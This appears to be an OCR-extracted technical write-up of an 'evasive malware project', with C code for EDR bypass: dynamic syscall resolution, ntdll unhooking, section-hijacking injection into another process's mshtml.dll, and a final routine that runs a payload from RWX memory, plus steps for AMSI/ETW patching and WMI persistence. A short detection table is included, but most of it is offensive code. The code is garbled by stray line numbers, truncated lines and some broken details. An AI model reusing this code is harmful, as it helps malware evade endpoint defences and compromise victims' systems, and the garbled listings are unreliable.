Advanced Evasive Malware Project: Comprehensive EDR Bypass Techniques

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1 Evasion Techniques Overview

Table 1: Implemented Evasion Techniques

Technique	Purpose	Implementation
Direct Syscalls Indirect Syscalls API Unhooking Section Hijacking	Bypass hooks Avoid static SSNs Remove EDR hooks Stealthy DLL loading	Uses syscall instruction directly Dynamically extracts syscall numbers Restores original function bytes Overwrites mapped sections

2 Enhanced Implementation

2.1 Direct and Indirect Syscall Integration

```
typedef struct _SYSCALL_ENTRY {
    DWORD Hash;
    DWORD SSN;
    PVOID Address;
} SYSCALL_ENTRY;
// Dynamically resolve syscall numbers
SYSCALL_ENTRY GetSyscall(DWORD dwHash) {
    SYSCALL_ENTRY entry = {0};
    PVOID pNtdll = GetModuleHandleA("ntdll.dll");
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pNtdll;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)pNtdll +
    pDos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)
        ((PBYTE)pNtdll + pNt->OptionalHeader.DataDirectory[0].
    PDWORD pNames = (PDWORD)((PBYTE)pNtdll + pExport->
    AddressOfNames);
```

```
PDWORD pFunctions = (PDWORD)((PBYTE)pNtdll + pExport->
17
       AddressOfFunctions);
       PWORD pOrdinals = (PWORD)((PBYTE)pNtdll + pExport->
       AddressOfNameOrdinals);
19
       for (DWORD i = 0; i < pExport -> NumberOfNames; i++) {
20
           PCHAR pName = (PCHAR)((PBYTE)pNtdll + pNames[i]);
21
           if (HashStringA(pName) == dwHash) {
22
                entry.Address = (PVOID)((PBYTE)pNtdll + pFunctions[
23
      pOrdinals[i]]);
                entry.SSN = ExtractSSN(entry.Address); // Parse SSN
24
       from stub
25
               break:
26
           }
      }
27
       return entry;
28
29
30
31
  // Execute with indirect then direct transition
  NTSTATUS NtAllocateVirtualMemorySyscall(
32
       HANDLE ProcessHandle,
33
      PVOID* BaseAddress,
34
       ULONG_PTR ZeroBits,
35
36
       PSIZE_T RegionSize,
      ULONG AllocationType, ULONG Protect)
37
38
39
       SYSCALL_ENTRY entry = GetSyscall(0xA092D8F3); // Hash for
40
      NtAllocateVirtualMemory
41
       __asm {
42
           mov r10, rcx
43
           mov eax, entry.SSN
44
           jmp entry.Address
45
46
  }
```

Listing 1: Syscall Manager

2.2 API Unhooking Implementation

```
BOOL UnhookAPI(LPCSTR szModule, LPCSTR szFunction) {

// 1. Get clean copy from disk

HMODULE hModule = LoadLibraryExA(szModule, NULL,

DONT_RESOLVE_DLL_REFERENCES);

PVOID pCleanFunc = GetProcAddress(hModule, szFunction);

// 2. Get hooked function in memory

PVOID pHookedFunc = GetProcAddress(GetModuleHandleA(szModule),

szFunction);

// 3. Calculate function size

DWORD dwFuncSize = 0;

PBYTE pByte = (PBYTE)pCleanFunc;

while (*(PWORD)pByte != 0x05EB) { // Find RET instruction
```

```
pByte++;
13
           dwFuncSize++;
14
      }
16
      // 4. Restore original bytes
17
      DWORD dwOldProtect;
18
      VirtualProtect(pHookedFunc, dwFuncSize, PAGE_EXECUTE_READWRITE,
       &dwOldProtect);
      memcpy(pHookedFunc, pCleanFunc, dwFuncSize);
      VirtualProtect(pHookedFunc, dwFuncSize, dwOldProtect, &
      dwOldProtect);
      FreeLibrary(hModule);
23
24
       return TRUE;
25
```

Listing 2: API Unhooking

2.3 Section Hijacking Technique

```
BOOL SectionHijackInject(DWORD dwPid, PBYTE pPayload, SIZE_T
      szPayload) {
      // 1. Find target process
      HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid)
      // 2. Locate legitimate DLL with RWX section (e.g. mshtml.dll)
      HMODULE hModules[1024];
      DWORD cbNeeded;
      EnumProcessModules(hProcess, hModules, sizeof(hModules), &
      cbNeeded);
      for (DWORD i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {</pre>
          CHAR szModName[MAX_PATH];
11
12
          GetModuleFileNameExA(hProcess, hModules[i], szModName,
      MAX_PATH);
          if (strstr(szModName, "mshtml.dll")) {
14
               // 3. Parse PE headers to find .text section
              PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModules[i
16
      ];
              PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)
17
      hModules[i] + pDos->e_lfanew);
              PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
18
19
               for (WORD j = 0; j < pNt->FileHeader.NumberOfSections;
20
      j++) {
                   if (memcmp(pSec->Name, ".text", 5) == 0) {
21
                       // 4. Overwrite section contents
22
23
                       PBYTE pSectionBase = (PBYTE)hModules[i] + pSec
      ->VirtualAddress;
24
                       SIZE_T szWritten;
                       WriteProcessMemory(hProcess, pSectionBase,
25
      pPayload,
                                          min(szPayload, pSec->Misc.
      VirtualSize),
```

Listing 3: Section Hijacking

3 Exploitation Workflow

3.1 Enhanced Execution Chain

1. Initialization Phase

- Unhook critical APIs (NtReadVirtualMemory, NtWriteVirtualMemory)
- Patch ETW and AMSI in memory
- Initialize syscall table with dynamic SSN resolution

2. Injection Phase

- Use Section Hijacking to load payload into legitimate DLL
- If fails, fallback to indirect syscall memory allocation
- Execute payload via thread hijacking or APC injection

3. Persistence Phase

- Install via WMI event subscription
- Create hidden registry entry

4 Defensive Countermeasures

Table 2: Detection Techniques

Technique	Detection Method
Direct Syscalls	Monitor for syscall instructions outside ntdll
Indirect Syscalls	Detect runtime SSN extraction
API Unhooking	Checksum verification of critical functions
Section Hijacking	Monitor for section permission changes

5 Complete Integration Example

```
void ExecutePayload() {
       // 1. Unhook APIs
      UnhookAPI("ntdll.dll", "NtCreateFile");
      UnhookAPI("kernel32.dll", "CreateFileW");
       // 2. Initialize syscall manager
      InitSyscallTable();
       // 3. Attempt section hijack injection
       if (!SectionHijackInject(target_pid, payload, payload_size)) {
           // Fallback to direct syscall allocation
           PVOID pAddress = NULL;
12
           SIZE_T szSize = payload_size;
13
           NtAllocateVirtualMemorySyscall(
14
               GetCurrentProcess(),
               &pAddress,
16
               Ο,
               &szSize,
18
19
               MEM_COMMIT | MEM_RESERVE,
               PAGE_EXECUTE_READWRITE);
20
21
           // Copy and execute
22
           memcpy(pAddress, payload, payload_size);
23
           ((void(*)())pAddress)();
24
25
26
       // 4. Cleanup
27
      SelfDeleteWithSyscalls();
28
```

Listing 4: Final Payload Execution